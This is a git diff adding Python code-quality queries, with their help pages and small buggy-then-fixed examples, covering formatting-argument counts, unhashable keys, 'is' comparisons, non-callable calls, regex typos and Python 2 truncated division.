    diff --git a/python/ql/src/Expressions/Formatting/WrongNumberArgumentsFor3101Format.ql b/python/ql/src/Expressions/Formatting/WrongNumberArgumentsFor3101Format.ql new file mode 100644 index 00000000000..fe766ae2d8b --- /dev/null +++ b/python/ql/src/Expressions/Formatting/WrongNumberArgumentsFor3101Format.ql @@ -0,0 +1,23 @@ +/** + * @name Too few arguments in formatting call + * @description A string formatting operation, such as '"{0}: {1}, {2}".format(a,b)', + * where the number of values to be formatted is too few for the format string will raise an IndexError. + * @kind problem + * @tags reliability + * correctness + * @problem.severity error + * @sub-severity low + * @precision high + * @id py/str-format/missing-argument + */ + +import python +import AdvancedFormatting + +from AdvancedFormattingCall call, AdvancedFormatString fmt, +int arg_count, int max_field, string provided +where arg_count = call.providedArgCount() and max_field = max(fmt.getFieldNumber(_, _)) and +call.getAFormat() = fmt and not exists(call.getStarargs()) and arg_count <= max_field and +(if arg_count = 1 then provided = " is provided." else provided = " are provided.") +select call, "Too few arguments for string format. Format $@ requires at least " + (max_field+1) + ", but " + +arg_count.toString() + provided, fmt, "\"" + fmt.getText() + "\"" \ No newline at end of file diff --git a/python/ql/src/Expressions/HashedButNoHash.py b/python/ql/src/Expressions/HashedButNoHash.py new file mode 100644 index 00000000000..dad0d5ea862 --- /dev/null +++ b/python/ql/src/Expressions/HashedButNoHash.py @@ -0,0 +1,5 @@ + +def lookup_with_default_key(mapping, key=None): + if key is None: + key = [] # Should be key = () + return mapping[key] diff --git a/python/ql/src/Expressions/HashedButNoHash.qhelp b/python/ql/src/Expressions/HashedButNoHash.qhelp new file mode 100644 index 00000000000..6df27d4e60f --- /dev/null +++ b/python/ql/src/Expressions/HashedButNoHash.qhelp @@ -0,0 +1,43 @@ + + + +

    If an object is used as a key in a dictionary or as a member of a set then it must be hashable, +that is it must define a __hash__ method. All built-in immutable types are hashable, but +mutable ones are not. Common hashable types include all numbers, strings (both unicode and bytes) +and tuple. Common unhashable types include list, dict and set. +

    + +

    +In order to store a key in a dict or set a hash value is needed. To determine this value the built-in +function hash() is called which in turn calls the __hash__ method on the object. +If the object's class does not have the __hash__ method, then a TypeError will be raised. +

    + + +
    + +

    Since this problem usually indicates a logical error, it is not possible to give a general recipe for fixing it. +Mutable collections can be converted into immutable equivalents where appropriate. For example sets can be hashed by converting any instances +of set into frozenset instances. +

    + +
    + +

    lists are not hashable. In this example, an attempt is made to use a list +as a key in a mapping which will fail with a TypeError. +

    + + + +
    + + +
  • Python Standard Library: hash.
  • +
  • Python Language Reference: object.__hash__.
  • +
  • Python Standard Library: Mapping Types — dict.
  • +
  • Python Standard Library: Set Types — set, frozenset.
  • + +
    +
    diff --git a/python/ql/src/Expressions/HashedButNoHash.ql b/python/ql/src/Expressions/HashedButNoHash.ql new file mode 100644 index 00000000000..310d56b273a --- /dev/null +++ b/python/ql/src/Expressions/HashedButNoHash.ql @@ -0,0 +1,59 @@ +/** + * @name Unhashable object hashed + * @description Hashing an object which is not hashable will result in a TypeError at runtime. + * @kind problem + * @tags reliability + * correctness + * @problem.severity error + * @sub-severity low + * @precision very-high + * @id py/hash-unhashable-value + */ + +import python + +/* This assumes that any indexing operation where the value is not a sequence or numpy array involves hashing. + * For sequences, the index must be an int, which are hashable, so we don't need to treat them specially. + * For numpy arrays, the index may be a list, which are not hashable and needs to be treated specially. + */ + +predicate numpy_array_type(ClassObject na) { + exists(ModuleObject np | np.getName() = "numpy" or np.getName() = "numpy.core" | + na.getAnImproperSuperType() = np.getAttribute("ndarray") + ) +} + +predicate has_custom_getitem(ClassObject cls) { + cls.lookupAttribute("__getitem__") instanceof PyFunctionObject + or + numpy_array_type(cls) +} + +predicate explicitly_hashed(ControlFlowNode f) { + exists(CallNode c, GlobalVariable hash | c.getArg(0) = f and c.getFunction().(NameNode).uses(hash) and hash.getId() = "hash") +} + +predicate unhashable_subscript(ControlFlowNode f, ClassObject c, ControlFlowNode origin) { + is_unhashable(f, c, origin) and + exists(SubscriptNode sub | sub.getIndex() = f | + exists(ClassObject custom_getitem | + sub.getObject().refersTo(_, custom_getitem, _) and + not has_custom_getitem(custom_getitem) + ) + ) +} + +predicate is_unhashable(ControlFlowNode f, ClassObject cls, ControlFlowNode origin) { + f.refersTo(_, cls, origin) and + (not cls.hasAttribute("__hash__") and not cls.unknowableAttributes() and cls.isNewStyle() + or + cls.lookupAttribute("__hash__") = theNoneObject() + ) +} + +from ControlFlowNode f, ClassObject c, ControlFlowNode origin +where +explicitly_hashed(f) and is_unhashable(f, c, origin) +or +unhashable_subscript(f, c, origin) +select f.getNode(), "This $@ of $@ is unhashable.", origin, "instance", c, c.getQualifiedName() diff --git a/python/ql/src/Expressions/IncorrectComparisonUsingIs.py b/python/ql/src/Expressions/IncorrectComparisonUsingIs.py new file mode 100644 index 00000000000..faf78fd8f12 --- /dev/null +++ b/python/ql/src/Expressions/IncorrectComparisonUsingIs.py @@ -0,0 +1,27 @@ + +DEFAULT = "default" + +def get_color(name, fallback): + if name in COLORS: + return COLORS[name] + elif fallback is DEFAULT: + return DEFAULT_COLOR + else: + return fallback + +#This works +print (get_color("spam", "def" + "ault")) + +#But this does not +print (get_color("spam", "default-spam"[:7])) + +#To fix the above code change to object +DEFAULT = object() + +#Or if you want better repr() output: +class Default(object): + + def __repr__(self): + return "DEFAULT" + +DEFAULT = Default() diff --git a/python/ql/src/Expressions/IncorrectComparisonUsingIs.qhelp b/python/ql/src/Expressions/IncorrectComparisonUsingIs.qhelp new file mode 100644 index 00000000000..b8c25fa04a2 --- /dev/null +++ b/python/ql/src/Expressions/IncorrectComparisonUsingIs.qhelp @@ -0,0 +1,43 @@ + + + + +

    When you compare two values using the is or is not operator, it is the +object identities of the two values that is tested rather than their equality. + If the class of either of the values in the comparison redefines equality then the + is operator may return False even though the objects compare as equal. + Equality is defined by the __eq__ or, in Python2, __cmp__ method. + To compare two objects for equality, use the == or != operator instead.

    + +
    + + +

    When you want to compare the value of two literals, use the comparison operator == or +!= in place of is or is not.

    + +

    If the uniqueness property or performance are important then use an object that does not redefine equality.

    + +
    + + +

    In the first line of the following example the programmer tests the value of value against +DEFAULT using the is operator. Unfortunately, this may fail when the function +is called with the string "default".

    +

    +To function correctly, change the expression value is DEFAULT to value == DEFAULT. +Alternatively, if the uniqueness property is desirable, then change the definition of DEFAULT to +either of the alternatives below. +

    + + + + +
    + + +
  • Python Standard Library: Comparisons.
  • + +
    +
    diff --git a/python/ql/src/Expressions/IncorrectComparisonUsingIs.ql b/python/ql/src/Expressions/IncorrectComparisonUsingIs.ql new file mode 100644 index 00000000000..1cb59866e5a --- /dev/null +++ b/python/ql/src/Expressions/IncorrectComparisonUsingIs.ql @@ -0,0 +1,20 @@ +/** + * @name Comparison using is when operands support __eq__ + * @description Comparison using 'is' when equivalence is not the same as identity + * @kind problem + * @tags reliability + * correctness + * @problem.severity warning + * @sub-severity low + * @precision high + * @id py/comparison-using-is + */ + +import python +import IsComparisons + +from Compare comp, Cmpop op, ClassObject c, string alt +where invalid_portable_is_comparison(comp, op, c) and +not cpython_interned_constant(comp.getASubExpression()) and +(op instanceof Is and alt = "==" or op instanceof IsNot and alt = "!=") +select comp, "Values compared using '" + op.getSymbol() + "' when equivalence is not the same as identity. Use '" + alt + "' instead." diff --git a/python/ql/src/Expressions/IsComparisons.qll b/python/ql/src/Expressions/IsComparisons.qll new file mode 100644 index 00000000000..270c951f3cb --- /dev/null +++ b/python/ql/src/Expressions/IsComparisons.qll @@ -0,0 +1,112 @@ +import python + + +predicate comparison_using_is(Compare comp, ControlFlowNode left, Cmpop op, ControlFlowNode right) { + exists(CompareNode fcomp | fcomp = comp.getAFlowNode() | + fcomp.operands(left, op, right) and (op instanceof Is or op instanceof IsNot) + ) +} + +predicate overrides_eq_or_cmp(ClassObject c) { + major_version() = 2 and c.hasAttribute("__eq__") + or + c.declaresAttribute("__eq__") and not c = theObjectType() + or + exists(ClassObject sup | + sup = c.getASuperType() and not sup = theObjectType() | + sup.declaresAttribute("__eq__") + ) + or + major_version() = 2 and c.hasAttribute("__cmp__") +} + +predicate invalid_to_use_is_portably(ClassObject c) { + overrides_eq_or_cmp(c) and + /* Exclude type/builtin-function/bool as it is legitimate to compare them using 'is' but they implement __eq__ */ + not c = theTypeType() and not c = theBuiltinFunctionType() and not c = theBoolType() and + /* OK to compare with 'is' if a singleton */ + not exists(c.getProbableSingletonInstance()) +} + +predicate simple_constant(ControlFlowNode f) { + exists(Object obj | f.refersTo(obj) | obj = theTrueObject() or obj = theFalseObject() or obj = theNoneObject()) +} + +private predicate cpython_interned_value(Expr e) { + exists(string text | text = e.(StrConst).getText() | + text.length() = 0 or + text.length() = 1 and text.regexpMatch("[U+0000-U+00ff]") + ) + or + exists(int i | + i = e.(IntegerLiteral).getN().toInt() | + -5 <= i and i <= 256 + ) + or + exists(Tuple t | t = e and not exists(t.getAnElt())) +} + +/** The set of values that can be expected to be interned across + * the main implementations of Python. PyPy, Jython, etc tend to + * follow CPython, but it varies, so this is a best guess. + */ +private predicate universally_interned_value(Expr e) { + e.(IntegerLiteral).getN().toInt() = 0 + or + exists(Tuple t | t = e and not exists(t.getAnElt())) + or + e.(StrConst).getText() = "" +} + +predicate cpython_interned_constant(Expr e) { + exists(Expr const | + e.refersTo(_, const) | + cpython_interned_value(const) + ) +} + +predicate universally_interned_constant(Expr e) { + exists(Expr const | + e.refersTo(_, const) | + universally_interned_value(const) + ) +} + +private predicate comparison_both_types(Compare comp, Cmpop op, ClassObject cls1, ClassObject cls2) { + exists(ControlFlowNode op1, ControlFlowNode op2 | + comparison_using_is(comp, op1, op, op2) or comparison_using_is(comp, op2, op, op1) | + op1.refersTo(_, cls1, _) and + op2.refersTo(_, cls2, _) + ) +} + +private predicate comparison_one_type(Compare comp, Cmpop op, ClassObject cls) { + not comparison_both_types(comp, _, _, _) and + exists(ControlFlowNode operand | + comparison_using_is(comp, operand, op, _) or comparison_using_is(comp, _, op, operand) | + operand.refersTo(_, cls, _) + ) +} + +predicate invalid_portable_is_comparison(Compare comp, Cmpop op, ClassObject cls) { + /* OK to use 'is' when defining '__eq__' */ + not exists(Function eq | eq.getName() = "__eq__" or eq.getName() = "__ne__" | eq = comp.getScope().getScope*()) + and + ( + comparison_one_type(comp, op, cls) and invalid_to_use_is_portably(cls) + or + exists(ClassObject other | comparison_both_types(comp, op, cls, other) | + invalid_to_use_is_portably(cls) and + invalid_to_use_is_portably(other) + ) + ) + and + /* OK to use 'is' when comparing items from a known set of objects */ + not exists(Expr left, Expr right, Object obj | + comp.compares(left, op, right) and + left.refersTo(obj) and right.refersTo(obj) and + exists(ImmutableLiteral il | il.getLiteralObject() = obj) + ) +} + + diff --git a/python/ql/src/Expressions/NonCallableCalled.py b/python/ql/src/Expressions/NonCallableCalled.py new file mode 100644 index 00000000000..76b6a920861 --- /dev/null +++ b/python/ql/src/Expressions/NonCallableCalled.py @@ -0,0 +1,2 @@ +a_list = [] +a_list() diff --git a/python/ql/src/Expressions/NonCallableCalled.qhelp b/python/ql/src/Expressions/NonCallableCalled.qhelp new file mode 100644 index 00000000000..35411ca62b3 --- /dev/null +++ b/python/ql/src/Expressions/NonCallableCalled.qhelp @@ -0,0 +1,39 @@ + + + +

    If an object is called, obj(), then that object must be a callable or +a TypeError will be raised. A callable object is any object whose class defines +the __call__ special method. +Callable objects include functions, methods, classes.

    + +

    The callable(object) builtin function determines if an object is callable or not.

    + +

    +When the Python interpreter attempts to evaluate a call such as func(arg) it will +invoke the __call__ special method on func. +Thus, func(arg) is roughly equivalent to type(func).__call__(func, arg) +which means that the class must define the attribute __call__, +merely adding it to the instance is not sufficient. +

    + +
    + +

    Since this problem usually indicates a logical error, it is not possible to give a general recipe for fixing it.

    + +
    + +

    lists are not callable. In this example, an attempt is made to call a list +which will fail with a TypeError. +

    + + +
    + + +
  • Python Standard Library: callable.
  • +
  • Python Language Reference: object.__call__.
  • + +
    +
    diff --git a/python/ql/src/Expressions/NonCallableCalled.ql b/python/ql/src/Expressions/NonCallableCalled.ql new file mode 100644 index 00000000000..5d58ae04ec9 --- /dev/null +++ b/python/ql/src/Expressions/NonCallableCalled.ql @@ -0,0 +1,24 @@ +/** + * @name Non-callable called + * @description A call to an object which is not a callable will raise a TypeError at runtime. + * @kind problem + * @tags reliability + * correctness + * types + * @problem.severity error + * @sub-severity high + * @precision high + * @id py/call-to-non-callable + */ + +import python +import Exceptions.NotImplemented + +from Call c, ClassObject t, Expr f, AstNode origin +where f = c.getFunc() and f.refersTo(_, t, origin) and + not t.isCallable() and not t.unknowableAttributes() + and not t.isDescriptorType() + and not t = theNoneType() + and not use_of_not_implemented_in_raise(_, f) + +select c, "Call to a $@ of $@.", origin, "non-callable", t, t.toString() diff --git a/python/ql/src/Expressions/NonPortableComparisonUsingIs.py b/python/ql/src/Expressions/NonPortableComparisonUsingIs.py new file mode 100644 index 00000000000..12be9d143e7 --- /dev/null +++ b/python/ql/src/Expressions/NonPortableComparisonUsingIs.py @@ -0,0 +1,8 @@ + +CONSTANT = 12 + +def equals_to_twelve(x): + return x is CONSTANT + +#This works in CPython, but might not for other implementations. +print (equals_to_twelve(5 + 7)) diff --git a/python/ql/src/Expressions/NonPortableComparisonUsingIs.qhelp b/python/ql/src/Expressions/NonPortableComparisonUsingIs.qhelp new file mode 100644 index 00000000000..4b5fa7c840a --- /dev/null +++ b/python/ql/src/Expressions/NonPortableComparisonUsingIs.qhelp @@ -0,0 +1,44 @@ + + + + +

    When you compare two values using the is or is not operator, it is the +object identities of the two values that is tested rather than their equality. +If the class of either of the values in the comparison redefines equality then the +is operator may return False even though the objects compare as equal. +

    +

    +CPython interns a number of commonly used values, such as small integers, which means that using +is instead of == will work correctly. However, this might not be portable +to other implementations such as PyPy, IronPython, Jython or MicroPython. +

    + +
    + + +

    When you want to compare the value of two literals, use the comparison operator == or +!= in place of is or is not.

    + +

    If the uniqueness property or performance are important then use an object that does not redefine equality.

    + +
    + + +

    The function equals_to_twelve() relies on CPython interning small integers.

    +

    +To function correctly for all implementations, change the expression x is CONSTANT to x == CONSTANT. +

    + + + + +
    + + +
  • Python Standard Library: Comparisons.
  • +
  • Stack Overflow: Python "is" operator behaves unexpectedly with integers.
  • + +
    +
    diff --git a/python/ql/src/Expressions/NonPortableComparisonUsingIs.ql b/python/ql/src/Expressions/NonPortableComparisonUsingIs.ql new file mode 100644 index 00000000000..397aec01065 --- /dev/null +++ b/python/ql/src/Expressions/NonPortableComparisonUsingIs.ql @@ -0,0 +1,23 @@ +/** + * @name Non-portable comparison using is when operands support __eq__ + * @description Comparison using 'is' when equivalence is not the same as identity and may not be portable. + * @kind problem + * @tags portability + * maintainability + * @problem.severity recommendation + * @sub-severity low + * @precision medium + * @id py/comparison-using-is-non-portable + */ + +import python +import IsComparisons + +from Compare comp, Cmpop op, ClassObject c +where invalid_portable_is_comparison(comp, op, c) and +exists(Expr sub | + sub = comp.getASubExpression() | + cpython_interned_constant(sub) and + not universally_interned_constant(sub) +) +select comp, "The result of this comparison with '" + op.getSymbol() + "' may differ between implementations of Python." \ No newline at end of file diff --git a/python/ql/src/Expressions/RedundantComparison.qll b/python/ql/src/Expressions/RedundantComparison.qll new file mode 100644 index 00000000000..64f80ce31b5 --- /dev/null +++ b/python/ql/src/Expressions/RedundantComparison.qll @@ -0,0 +1,46 @@ +import python + +class RedundantComparison extends Compare { + + RedundantComparison() { + exists(Expr left, Expr right | + this.compares(left, _, right) + and + same_variable(left, right) + ) + } + + predicate maybeMissingSelf() { + exists(Name left | + this.compares(left, _, _) and + not this.isConstant() and + exists(Class cls | left.getScope().getScope() = cls | + exists(SelfAttribute sa | sa.getName() = left.getId() | + sa.getClass() = cls + ) + ) + ) + } + +} + +private predicate same_variable(Expr left, Expr right) { + same_name(left, right) + or + same_attribute(left, right) +} + +private predicate name_in_comparison(Compare comp, Name n, Variable v) { + comp.contains(n) and v = n.getVariable() +} + +private predicate same_name(Name n1, Name n2) { + n1 != n2 and + exists(Compare comp, Variable v | name_in_comparison(comp, n1, v) and name_in_comparison(comp, n2, v)) +} + +private predicate same_attribute(Attribute a1, Attribute a2) { + a1 != a2 and + exists(Compare comp | comp.contains(a1) and comp.contains(a2)) and + a1.getName() = a2.getName() and same_name(a1.getObject(), a2.getObject()) +} diff --git a/python/ql/src/Expressions/Regex/BackspaceEscape.py b/python/ql/src/Expressions/Regex/BackspaceEscape.py new file mode 100644 index 00000000000..2c1fa4bad4e --- /dev/null +++ b/python/ql/src/Expressions/Regex/BackspaceEscape.py @@ -0,0 +1,5 @@ +import re +matcher = re.compile(r"\b[\t\b]") + +def match_data(data): + return bool(matcher.match(data)) diff --git a/python/ql/src/Expressions/Regex/BackspaceEscape.qhelp b/python/ql/src/Expressions/Regex/BackspaceEscape.qhelp new file mode 100644 index 00000000000..18599e13e64 --- /dev/null +++ b/python/ql/src/Expressions/Regex/BackspaceEscape.qhelp @@ -0,0 +1,40 @@ + + + + +

    +The meaning of the \b escape sequence inside a regular expression depends on its +syntactic context: inside a character class, it matches the backspace character; outside of a +character class, it matches a word boundary. This context dependency makes regular expressions +hard to read, so the \b escape sequence should not be used inside character classes. +

    + +
    + + +

    +Replace \b in character classes with the semantically identical escape sequence \x08. +

    + +
    + +

    +In the following example, the regular expression contains two uses of \b: in the +first case, it matches a word boundary, in the second case it matches a backspace character. +

    + + + +

    +You can make the regular expression easier for other developers to interpret, by rewriting it as r"\b[\t\x08]". +

    + +
    + + +
  • Python Standard Library: Regular expression operations.
  • + +
    +
    diff --git a/python/ql/src/Expressions/Regex/BackspaceEscape.ql b/python/ql/src/Expressions/Regex/BackspaceEscape.ql new file mode 100644 index 00000000000..b80893b04f0 --- /dev/null +++ b/python/ql/src/Expressions/Regex/BackspaceEscape.ql @@ -0,0 +1,22 @@ +/** + * @name Backspace escape in regular expression + * @description Using '\b' to escape the backspace character in a regular expression is confusing + * since it could be mistaken for a word boundary assertion. + * @kind problem + * @tags maintainability + * @problem.severity recommendation + * @sub-severity high + * @precision very-high + * @id py/regex/backspace-escape + */ + +import python +import semmle.python.regex + +from Regex r, int offset +where r.escapingChar(offset) and r.getChar(offset+1) = "b" and +exists(int start, int end | + start < offset and end > offset | + r.charSet(start, end) +) +select r, "Backspace escape in regular expression at offset " + offset + "." \ No newline at end of file diff --git a/python/ql/src/Expressions/Regex/DuplicateCharacterInSet.py b/python/ql/src/Expressions/Regex/DuplicateCharacterInSet.py new file mode 100644 index 00000000000..cf2b0511235 --- /dev/null +++ b/python/ql/src/Expressions/Regex/DuplicateCharacterInSet.py @@ -0,0 +1,6 @@ +import re +matcher = re.compile(r"[password|pwd]") + +def find_password(data): + if matcher.match(data): + print("Found password!") diff --git a/python/ql/src/Expressions/Regex/DuplicateCharacterInSet.qhelp b/python/ql/src/Expressions/Regex/DuplicateCharacterInSet.qhelp new file mode 100644 index 00000000000..d9b1e9ed6d9 --- /dev/null +++ b/python/ql/src/Expressions/Regex/DuplicateCharacterInSet.qhelp @@ -0,0 +1,44 @@ + + + + +

    +Character classes in regular expressions represent sets of characters, so there is no need to specify +the same character twice in one character class. Duplicate characters in character classes are at best +useless, and may even indicate a latent bug. +

    + +
    + + +

    Determine whether a character is simply duplicated or whether the character class was in fact meant as a group. +If it is just a duplicate, then remove the duplicate character. +If was supposed to be a group, then replace the square brackets with parentheses. +

    + + +
    + +

    +In the following example, the character class [password|pwd] contains two instances each +of the characters d, p, s, and w. The programmer most likely meant +to write (password|pwd) (a pattern that matches either the string "password" +or the string "pwd"), and accidentally mistyped the enclosing brackets. +

    + + + +

    +To fix this problem, the regular expression should be rewritten to r"(password|pwd)". +

    + +
    + + +
  • Python Standard Library: Regular expression operations.
  • +
  • Regular-Expressions.info: Character Classes or Character Sets.
  • + +
    +
    diff --git a/python/ql/src/Expressions/Regex/DuplicateCharacterInSet.ql b/python/ql/src/Expressions/Regex/DuplicateCharacterInSet.ql new file mode 100644 index 00000000000..88c265fb370 --- /dev/null +++ b/python/ql/src/Expressions/Regex/DuplicateCharacterInSet.ql @@ -0,0 +1,34 @@ +/** + * @name Duplication in regular expression character class + * @description Duplicate characters in a class have no effect and may indicate an error in the regular expression. + * @kind problem + * @tags reliability + * readability + * @problem.severity warning + * @sub-severity low + * @precision very-high + * @id py/regex/duplicate-in-character-class + */ + +import python +import semmle.python.regex + +predicate duplicate_char_in_class(Regex r, string char) { + exists(int i, int j, int x, int y, int start, int end | + i != x and j != y and + start < i and j < end and + start < x and y < end and + r.character(i, j) and char = r.getText().substring(i, j) and + r.character(x, y) and char = r.getText().substring(x, y) and + r.charSet(start, end) + ) and + /* Exclude � as we use it for any unencodable character */ + char != "�" and + //Ignore whitespace in verbose mode + not (r.getAMode() = "VERBOSE" and (char = " " or char = "\t" or char = "\r" or char = "\n")) +} + +from Regex r, string char +where duplicate_char_in_class(r, char) +select r, "This regular expression includes duplicate character '" + char + "' in a set of characters." + diff --git a/python/ql/src/Expressions/Regex/MissingPartSpecialGroup.py b/python/ql/src/Expressions/Regex/MissingPartSpecialGroup.py new file mode 100644 index 00000000000..29580414b5b --- /dev/null +++ b/python/ql/src/Expressions/Regex/MissingPartSpecialGroup.py @@ -0,0 +1,10 @@ +import re +matcher = re.compile(r'(P[\w]+)') + +def only_letters(text): + m = matcher.match(text) + if m: + print("Letters are: " + m.group('name')) + +#Fix the pattern by adding the missing '?' +fixed_matcher = re.compile(r'(?P[\w]+)') \ No newline at end of file diff --git a/python/ql/src/Expressions/Regex/MissingPartSpecialGroup.qhelp b/python/ql/src/Expressions/Regex/MissingPartSpecialGroup.qhelp new file mode 100644 index 00000000000..289bd4622b9 --- /dev/null +++ b/python/ql/src/Expressions/Regex/MissingPartSpecialGroup.qhelp @@ -0,0 +1,37 @@ + + + +

    +One of the problems with using regular expressions is that almost any sequence of characters is a valid pattern. +This means that it is easy to omit a necessary character and still have a valid regular expression. +Omitting a character in a named capturing group is a specific case which can dramatically change the meaning of a regular expression. +

    + +
    + + +

    +Examine the regular expression to find and correct any typos. +

    + +
    + +

    +In the following example, the regular expression for matcher, r"(P<name>[\w]+)", is missing a "?" and will +match only strings of letters that start with "P<name>", instead of matching any sequence of letters +and placing the result in a named group. +The fixed version, fixed_matcher, includes the "?" and will work as expected. +

    + + + +
    + + +
  • Python Standard Library: Regular expression operations.
  • +
  • Regular-Expressions.info: Named Capturing Groups.
  • + +
    +
    diff --git a/python/ql/src/Expressions/Regex/MissingPartSpecialGroup.ql b/python/ql/src/Expressions/Regex/MissingPartSpecialGroup.ql new file mode 100644 index 00000000000..7a1974fc514 --- /dev/null +++ b/python/ql/src/Expressions/Regex/MissingPartSpecialGroup.ql @@ -0,0 +1,20 @@ +/** + * @name Missing part of special group in regular expression + * @description Incomplete special groups are parsed as normal groups and are unlikely to match the intended strings. + * @kind problem + * @tags reliability + * correctness + * @problem.severity warning + * @sub-severity high + * @precision high + * @id py/regex/incomplete-special-group + */ + +import python +import semmle.python.regex + +from Regex r, string missing, string part +where r.getText().regexpMatch(".*\\(P<\\w+>.*") and missing = "?" and part = "named group" +select r, "Regular expression is missing '" + missing + "' in " + part + "." + + diff --git a/python/ql/src/Expressions/Regex/UnmatchableCaret.py b/python/ql/src/Expressions/Regex/UnmatchableCaret.py new file mode 100644 index 00000000000..7a51c4a8f93 --- /dev/null +++ b/python/ql/src/Expressions/Regex/UnmatchableCaret.py @@ -0,0 +1,11 @@ +import re +#Regular expression includes a caret, but not at the start. +matcher = re.compile(r"\[^.]*\.css") + +def find_css(filename): + if matcher.match(filename): + print("Found it!") + +#Regular expression for a css file name +fixed_matcher_css = re.compile(r"[^.]*\.css") + diff --git a/python/ql/src/Expressions/Regex/UnmatchableCaret.qhelp b/python/ql/src/Expressions/Regex/UnmatchableCaret.qhelp new file mode 100644 index 00000000000..32914e64a60 --- /dev/null +++ b/python/ql/src/Expressions/Regex/UnmatchableCaret.qhelp @@ -0,0 +1,40 @@ + + + +

    +The caret character ^ anchors a regular expression to the beginning of the input, or +(for multi-line regular expressions) to the beginning of a line. +If it is preceded by a pattern that must match a non-empty sequence of (non-newline) input characters, +then the entire regular expression cannot match anything. +

    + +
    + + +

    +Examine the regular expression to find and correct any typos. +

    + +
    + +

    +In the following example, the regular expression r"\[^.]*\.css" cannot match any +string, since it contains a caret assertion preceded by an escape sequence that matches an +opening bracket. +

    +

    +In the second regular expression, r"[^.]*\.css", the caret is part of a character class, and will not match the start of the string. +

    + + + +
    + + +
  • Python Standard Library: Regular expression operations.
  • +
  • Regular-Expressions.info: Start of String and End of String Anchors.
  • + +
    +
    diff --git a/python/ql/src/Expressions/Regex/UnmatchableCaret.ql b/python/ql/src/Expressions/Regex/UnmatchableCaret.ql new file mode 100644 index 00000000000..7fc0c6f219e --- /dev/null +++ b/python/ql/src/Expressions/Regex/UnmatchableCaret.ql @@ -0,0 +1,25 @@ +/** + * @name Unmatchable caret in regular expression + * @description Regular expressions containing a caret '^' in the middle cannot be matched, whatever the input. + * @kind problem + * @tags reliability + * correctness + * @problem.severity error + * @sub-severity low + * @precision high + * @id py/regex/unmatchable-caret + */ + +import python +import semmle.python.regex + +predicate unmatchable_caret(Regex r, int start) { + not r.getAMode() = "MULTILINE" and + not r.getAMode() = "VERBOSE" and + r.specialCharacter(start, start+1, "^") and + not r.firstItem(start, start+1) +} + +from Regex r, int offset +where unmatchable_caret(r, offset) +select r, "This regular expression includes an unmatchable caret at offset " + offset.toString() + "." diff --git a/python/ql/src/Expressions/Regex/UnmatchableDollar.py b/python/ql/src/Expressions/Regex/UnmatchableDollar.py new file mode 100644 index 00000000000..8e7a19eb4c1 --- /dev/null +++ b/python/ql/src/Expressions/Regex/UnmatchableDollar.py @@ -0,0 +1,10 @@ +import re +#Regular expression that includes a dollar, but not at the end. +matcher = re.compile(r"\.\(\w+$\)") + +def find_it(filename): + if matcher.match(filename): + print("Found it!") + +#Regular expression anchored to end of input. +fixed_matcher = re.compile(r"\.\(\w+\)$") \ No newline at end of file diff --git a/python/ql/src/Expressions/Regex/UnmatchableDollar.qhelp b/python/ql/src/Expressions/Regex/UnmatchableDollar.qhelp new file mode 100644 index 00000000000..2ff1071430f --- /dev/null +++ b/python/ql/src/Expressions/Regex/UnmatchableDollar.qhelp @@ -0,0 +1,41 @@ + + + +

    +A dollar assertion $ in a regular expression only matches at the end of the input, or +(for multi-line regular expressions) at the end of a line. If it is followed by a pattern +that must match a non-empty sequence of (non-newline) input characters, it cannot possibly match, +rendering the entire regular expression unmatchable. +

    + +
    + + +

    +Examine the regular expression to find and correct any typos. +

    + +
    + +

    +In the following example, the regular expression r"\.\(\w+$\)" cannot match any +string, since it contains a dollar assertion followed by an escape sequence that matches a +closing parenthesis. +

    + +

    +The second regular expression, r"\.\(\w+\)$", has the dollar at the end and will work as expected. +

    + + + +
    + + +
  • Python Standard Library: Regular expression operations.
  • +
  • Regular-Expressions.info: Start of String and End of String Anchors.
  • + +
    +
    diff --git a/python/ql/src/Expressions/Regex/UnmatchableDollar.ql b/python/ql/src/Expressions/Regex/UnmatchableDollar.ql new file mode 100644 index 00000000000..49cef2bded1 --- /dev/null +++ b/python/ql/src/Expressions/Regex/UnmatchableDollar.ql @@ -0,0 +1,26 @@ +/** + * @name Unmatchable dollar in regular expression + * @description Regular expressions containing a dollar '$' in the middle cannot be matched, whatever the input. + * @kind problem + * @tags reliability + * correctness + * @problem.severity error + * @sub-severity low + * @precision high + * @id py/regex/unmatchable-dollar + */ + +import python +import semmle.python.regex + +predicate unmatchable_dollar(Regex r, int start) { + not r.getAMode() = "MULTILINE" and + not r.getAMode() = "VERBOSE" and + r.specialCharacter(start, start+1, "$") + and + not r.lastItem(start, start+1) +} + +from Regex r, int offset +where unmatchable_dollar(r, offset) +select r, "This regular expression includes an unmatchable dollar at offset " + offset.toString() + "." diff --git a/python/ql/src/Expressions/TruncatedDivision.py b/python/ql/src/Expressions/TruncatedDivision.py new file mode 100644 index 00000000000..63ed31a8663 --- /dev/null +++ b/python/ql/src/Expressions/TruncatedDivision.py @@ -0,0 +1,7 @@ +# Incorrect: + +def average(l): + return sum(l) / len(l) + +print average([1.0, 2.0]) # Prints "1.5". +print average([1, 2]) # Prints "1", which is incorrect. diff --git a/python/ql/src/Expressions/TruncatedDivision.qhelp b/python/ql/src/Expressions/TruncatedDivision.qhelp new file mode 100644 index 00000000000..1daa6f7fef6 --- /dev/null +++ b/python/ql/src/Expressions/TruncatedDivision.qhelp @@ -0,0 +1,42 @@ + + + +

    + In Python 2, the result of dividing two integers is silently truncated into an integer. This may lead to unexpected behavior. +

    + +
    + + +

    + If the division should never be truncated, add + from __future__ import division + to the beginning of the file. If the division should always + be truncated, replace the division operator / with the + truncated division operator //. +

    + +
    + +

    + The first example shows a function for calculating the average of a sequence + of numbers. When the function runs under Python 2, and the sequence contains + only integers, an incorrect result may be returned because the result is + truncated. The second example corrects this error by following the + recommendation listed above. +

    + + + + + +
    + + +
  • Python Language Reference: Binary arithmetic operations.
  • +
  • PEP 238: Changing the Division Operator.
  • +
  • PEP 236: Back to the __future__.
  • +
    +
